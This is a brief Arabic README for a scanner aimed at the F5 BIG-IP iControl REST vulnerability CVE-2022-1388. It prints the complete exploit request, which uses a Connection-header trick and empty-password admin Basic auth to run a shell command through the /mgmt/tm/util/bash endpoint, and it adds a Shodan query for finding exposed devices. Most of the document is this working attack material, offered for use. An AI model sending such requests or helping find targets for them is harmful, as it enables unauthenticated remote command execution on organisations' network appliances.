ماسح ضوئي لـ F5 CVE-2022-1388

ماسح ضوئي لثغرة BIG-IP iControl REST CVE-2022-1388

الاستخدام

# pip install -r requirements.txt
# pytohn3 CVE-2022-1388-Scanner.py

الطلب

POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 45
Connection: Keep-Alive, X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46

{
"command":"run",
"utilCmdArgs":"-c id"
}

استعلام Shodan:

http.title:"BIG-IP®-+Redirect" +"Server"